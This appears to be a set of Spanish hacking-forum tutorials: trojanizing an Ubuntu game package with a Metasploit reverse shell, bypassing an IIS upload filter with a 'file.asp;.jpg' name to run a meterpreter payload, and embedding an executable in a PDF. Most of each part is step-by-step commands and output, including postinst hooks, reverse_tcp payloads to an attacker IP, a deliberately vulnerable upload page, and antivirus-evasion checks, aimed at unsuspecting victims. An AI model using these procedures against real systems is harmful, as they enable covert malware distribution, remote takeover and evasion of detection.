Infectando Linux con Troyano

Ahora despues de mirar algunos exploits, me di a la busqueda de infectar con un troyano a Linux, más especificamente Ubuntu 9.10. Este tutorial, se hace semejante al tutorial [Metasploit] Generando Ejecutable con PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), el cual convertimos un PAYLOAD en un archivo ejecutable para infectar a Windows, ahora harémos lo mimos, pero para infectar Linux.

Para no levantar sospechas descargaremos un juego, en esté caso «Freesweep«, para despues infectarlo con el PAYLOAD.

Código:
shellroot@shellroot-desktop:~$ sudo apt-get --download-only install freesweep
[sudo] password for shellroot:
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias      
Leyendo la información de estado... Hecho
Se actualizarán los siguientes paquetes:
  freesweep
1 actualizados, 0 se instalarán, 0 para eliminar y 183 no actualizados.
Necesito descargar 39,2kB de archivos.
Se utilizarán 172kB de espacio de disco adicional después de esta operación.
Des:1 http://co.archive.ubuntu.com karmic/universe freesweep 0.90-2 [39,2kB]
Descargados 39,2kB en 2s (19,1kB/s)
Descarga completa y en modo de sólo descarga
shellroot@shellroot-desktop:~$

Creamos una carpeta donde quedaran los archivos organizadamente. En este caso la pondre en /home/shellroot/

Código:
shellroot@shellroot-desktop:~$ mkdir /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Ahora el archivo que descargamos al inicio lo movemos dentro de la carpeta que acabamos de crear (/home/shellroot/Troyano).

Código:
shellroot@shellroot-desktop:~$ sudo mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Nos posicionamos dentro de la carpeta /home/shellroot/Troyano y modifcamos los permisos de la carpeta.

Código:
shellroot@shellroot-desktop:~$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ chmod 777 /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$

Descomprimimos el archivo freesweep_0.90-2_i386.deb, dentro de la carpeta /home/shellroot/Troyano, para añadirle la infeccion del PAYLOAD.

Código:
shellroot@shellroot-desktop:~/Troyano$ dpkg -x freesweep_0.90-2_i386.deb Juego
shellroot@shellroot-desktop:~/Troyano$

Ahora crearemos una carpeta que llamaremos DEBIAN, dentro de ella crearemos 2 archivos.

  • control
  • postinst
Código:
shellroot@shellroot-desktop:~/Troyano$ mkdir Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano$ cd Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Dentro del archivo control, pondremos la siguiente informacion:

Código:
Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo.

Ahora dentro del archivo postinst, pondremos un Script para la ejecucion de nuestro archivo infectado.

Código
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Ahora crearemos el troyano con el PAYLOAD  linux/x86/shell/reverse_tcp, damos los parametros de LHOST y LPORT y la ubucacion del archivo infectado.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 X > /home/shellroot/Troyano/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.142.137,LPORT=1234
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Ahora modifcamos los permisos del archivo postinst, y construiremos de nuevo el archivo que supuestamente es el «Juego».

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ chmod 755 postinst
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ dpkg-deb --build /home/shellroot/Troyano/Juego/
dpkg-deb: construyendo el paquete `freesweep' en `/home/shellroot/Troyano/Juego.deb'.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

La re-contruccion creara el archivo Juego.deb el cual debemos cambiar por freesweep.deb, asi que nos movemos a la carpeta /home/shellroot/Troyano, despues, lo moveremos a la Raiz del Servidor Web para su proxima descarga e infeccion.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ mv Juego.deb freesweep.deb
shellroot@shellroot-desktop:~/Troyano$ sudo cp freesweep.deb /var/www/
[sudo] password for shellroot:
shellroot@shellroot-desktop:~/Troyano$

Iniciamos el Servidor del Apache

Código:
shellroot@shellroot-desktop:~/Troyano$ sudo /etc/init.d/apache2 start
 * Starting web server apache2                                                                   apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
httpd (pid 1576) already running
                                                                                          [ OK ]
shellroot@shellroot-desktop:~/Troyano$

Ahora como cuando lo hicimos con Windows, debemos de usar el Auxiliary multi/handler, configurarlo de la misma manera que cuando creamos el PAYLOAD y esperar a que la victima descargue e ejecute el archivo infectado.

Código:
shellroot@shellroot-desktop:~$ sudo msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 E
[sudo] password for shellroot:
[*] Please wait while we load the module tree...
[*] Starting the payload handler...
[*] Started reverse handler on port 1234

Ahora supongamos que somos la victima y descargamos el archivo.

Código:
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27--  http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»

100%[=======================================================>] 39.214      --.-K/s   en 0s      

2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]

hacklab@hacklab-desktop:~$

Despues de descargado el archivo, lo instalamos.

Código:
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb

Ahora miramos el multi/handler y voala, una session del Meterpreter

Código:
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)

Bug Microsoft IIS


By: Shell Root

Mucho tiempo atrás, vimos del Bug del Internet Information Server, ahora explicaré la forma de exploitarlo, usando a mi mejor amigo, Metasploit!. En que consiste este fallo?, Este fallo permite a un usuario subir un archivo «seguro» con extensión (jpg, png, etc) para cargar un script de ASP y obligar la ejecución del archivo dentro del servidor web.Pero como?, El error se produce cuando un nombre de archivo especificado en la forma de «Archivo.asp;. jpg», la aplicación comprueba la extensión del archivo y ve a «.jpg», pero el servidor IIS se detiene a analizar el primero «;» y ve «.asp».

Recordando un poco mi profesión (Desarrollador de Software), vamos a realizar un ejemplo practico, de como seria el upload en tiempo real y como seria el bypassin del script malicioso con la extensión .asp

Miremos el upload vulnerable! (Codeado en Visual Studio .NET)
Default.aspx

Código:
<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Upload By: Shell Root</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>

        <table style="width: 35%;">
            <tr>
                <td colspan="2" align="center"><h1>Upload By: Shell Root</h1></td>
            </tr>
            <tr>
                <td></td>
                <td></td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                    <asp:FileUpload ID="FileUpload1" runat="server" Width="236px" />
                </td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                    <asp:Button ID="BtnSubir" runat="server" Text="Subir" style="height: 26px" />
                </td>
            </tr>
        </table>

    </div>
    </form>
</body>
</html>

Default.aspx.vb

Código:
Partial Class _Default
    Inherits System.Web.UI.Page

    Protected Sub BtnSubir_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles BtnSubir.Click
        Try
            Dim fileName As String = Server.HtmlEncode(Me.FileUpload1.FileName)
            Dim extension As String = System.IO.Path.GetExtension(fileName)

            If (Me.FileUpload1.HasFile) Then
                If (extension = ".jpg") Or (extension = ".gif") Or (extension = ".png") Or (extension = ".jpg") Then
                    Me.FileUpload1.SaveAs(Server.MapPath("~/Imagenes/" & FileUpload1.FileName))
                Else
                    MsgBox("Error la extension de la foto debe ser tipo: .jpg, .gif, .png", MsgBoxStyle.Critical, "Error de Formato")
                End If
            End If
        Catch ex As Exception
            MsgBox("Error: " & ex.Message, MsgBoxStyle.Critical, "Error")
        End Try
    End Sub
End Class

Ahora ya tenemos el upload, tratemos de ingresar un archivo con extension no permitida, nos saldra el mensaje Error la extension de la foto debe ser tipo: .jpg, .gif, .png, pero si ingresamos una imagen verdadera con las extensiones permitidas, vemos que se puede visualizar si ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/.

Ya tenemos el upload verificado, ahora vamos a crear un script malicioso, que nos devolvera una session del meterpreter. Así:

Código:
shellroot@shellroot-desktop:~$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.137 LPORT=1234 R | msfencode -o /home/shellroot/evil.asp[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

Ingresamos a la consola del Metasploit, configuramos el multi/handler con los datos anteriores y lo ejecutamos.

Código:
shellroot@shellroot-desktop:~$ msfconsole
                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |
  |  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                           /|
                           |                  

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 503 exploits - 248 auxiliary
+ -- --=[ 193 payloads - 23 encoders - 8 nops
       =[ svn r8404 updated today (2010.02.08)

msf > use multi/handler
reverse_tcp(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.137
LHOST => 192.168.142.137
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > exploit[*] Started reverse handler on 192.168.142.137:1234[*] Starting the payload handler...

Ahora al archivo malicioso, le cambiamos el nombre de Archivo.asp a Archivo.asp;.jpg. Con esto bastará para bypassear el upload y ademas ejecutar el archivo malicioso dentro del servidor. Vamos al upload, lo buscamos y lo subimos, ahora, Como lo ejecutamos? Ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/Archivo.asp;.jpg, con esto el servidor interpretará solo hasta Archivo.asp (Es lo unico que nos interesa que interprete). Con esto ejecutamos el archivo, miramos el multi/handler y woala, una session del meterpreter.

Código:
[*] Meterpreter session 1 opened (192.168.142.137:1234 -> 192.168.142.1:7752)

PD: En el siguiente enlace, podeis ver que el archivo malicioso no es detectado por lo antivirus. Multi-Engine Antivirus Scanner – Services – NoVirusThanks.org

Cita:
File Info

Report date: 8.2.2010 at 22.49.59 (GMT 1)
File name: Archivo.asp
File size: 316058 bytes
MD5 Hash: 03dc8eb3c6debe8d6fa7ebfd8a526b53
SHA1 Hash: 6202F26B60FAA2255B1AF6251508E32C33CCF8FA
Detection rate: 0 on 20
Status: CLEAN

Scan report generated by NoVirusThanks.org

By: Shell Root

Incrustar ejecutable dentro de un archivo de Adobe PDF

Retomando un poco lo que es la herramienta ‘Metasploit‘, encontré un exploit donde podemos realizar una incrustación de un archivo ejecutable dentro de un archivo de Adobe PDF.

Descripción del Exploit
Ubicación:/windows/fileformat/adobe_pdf_embedded_exe
Nombre:
Adobe PDF Embedded EXE Social Engineering
Versión:
0
Plataforma:Windows
Licencia:Metasploit Framework License (BSD)
Rango:
Excelente
Proporciando por:Colin Ames amesc@attackresearch.com>
Objetivos disponibles:
Adobe Reader v8.x, v9.x (Windows XP SP3 English)
Descripción:
Este módulo del Metasploit incorpora una carga de un archivo PDF existente.
Como podemos ver, el exploit, solo funciona con sistema operativo windows xp en ingles (Windows XP … English), pero aquí lo haremos portable a un windows en español, ya que es él que nos interesa.

Después de esta breve definición del exploit, vamos a ver como funciona este exploit, primero que todo, para que nos funcione dentro de un sistema operativo windows xp en español, vamos a la linea 232 del exploit, donde reemplazamos este código:

ruby Código:

 

 

  1. 232.  dirs = [ «Desktop», «My Documents», «Documents» ]

 

 

 

por este:

ruby Código:

 

 

  1. 232.  dirs = [ «Desktop», «My Documents», «Documents», «Escritorio», «Mis Documentos»]

 

 

 

Como vemos de añadimos algunos parámetros necesarios para que nuestro exploit corra en un windows en ingles como también en un windows en español. Después de realizar esto, vamos a generar nuestro PoC!

Abrimos la consola del Metasploit, seleccionamos el exploit, y le ingresamos los parámetros necesarios y lo lanzamos. Inmediatamente se creara el PoC con el archivo pdf «infectado».

Código:
root@bt:/opt/metasploit3/msf3# msfconsole

               o                       8         o   o
               8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

     =[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 540 exploits - 256 auxiliary
+ -- --=[ 207 payloads - 23 encoders - 8 nops
     =[ svn r9040 updated today (2010.04.07)

msf > use windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > show options

Module options:

 Name        Current Setting   Required  Description
 ----        ---------------   --------  -----------
 EXENAME                       no        The Name of payload exe.
 FILENAME    evil.pdf          no        The output filename.
 INFILENAME                    yes       The Input PDF filename.
 OUTPUTPATH  ./data/exploits/  no        The location to output the file.

Exploit target:

 Id  Name
 --  ----
 0   Adobe Reader v8.x, v9.x (Windows XP SP3 English)

msf exploit(adobe_pdf_embedded_exe) > set OUTPUTPATH /root/
OUTPUTPATH => /root/
msf exploit(adobe_pdf_embedded_exe) > set FILENAME PoC_PDF_EXE.pdf
FILENAME => PoC_PDF_EXE.pdf
msf exploit(adobe_pdf_embedded_exe) > set EXENAME /root/cmd.exe
EXENAME => /root/cmd.exe
msf exploit(adobe_pdf_embedded_exe) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /root/PoC_PDF_EXE_File.pdf
INFILENAME => /root/PoC_PDF_EXE_File.pdf
msf exploit(adobe_pdf_embedded_exe) > exploit[*] Started bind handler[*] Reading in '/root/PoC_PDF_EXE_File.pdf'...[*] Parsing '/root/PoC_PDF_EXE_File.pdf'...[*] Parsing Successful.[*] Using '/root/cmd.exe' as payload...[*] Creating 'PoC_PDF_EXE.pdf' file...[*] Generated output file /root/PoC_PDF_EXE.pdf[*] Exploit completed, but no session was created.
msf exploit(adobe_pdf_embedded_exe) >

PD: El exploit trabaja con un payload de por medio, como vieron solo seleccione el payload bind_tcp, ya que no surge ningun efecto a la hora de ejecutar el PoC. Esto si seria necesario a la hora de ejecutar un payload convertido en ejecutable.

Nos genero el archivo PDF correctamente, ahora miremos nuestro PoC en acción.

Miremos que nos dice el Scanner de NoVirusThanks:

File Info

Report date: 2010-04-08 07:14:17 (GMT 1)
File name: PoC_PDF_EXE.pdf
File size: 1698671 bytes
MD5 Hash: 23d92e4f9b132150d002d014eb772529
SHA1 Hash: 20f0caceffefa8958ffa7638657393ae2d34e3c1
Detection rate: 2 on 20 (10% )
Status: INFECTED

Detections

a-squared – –
Avast – JS:Pdfka-XN [Expl]
AVG – –
Avira AntiVir – –
BitDefender – Exploit.PDF-Dropper.Gen
ClamAV – –
Comodo – –
Dr.Web – –
Ewido – –
F-PROT6 – –
G-Data – –
Ikarus T3 – –
Kaspersky – –
McAfee – –
NOD32 – –
Panda – –
Solo – –
TrendMicro – –
VBA32 – –
Zoner – –

Scan report generated by NoVirusThanks.org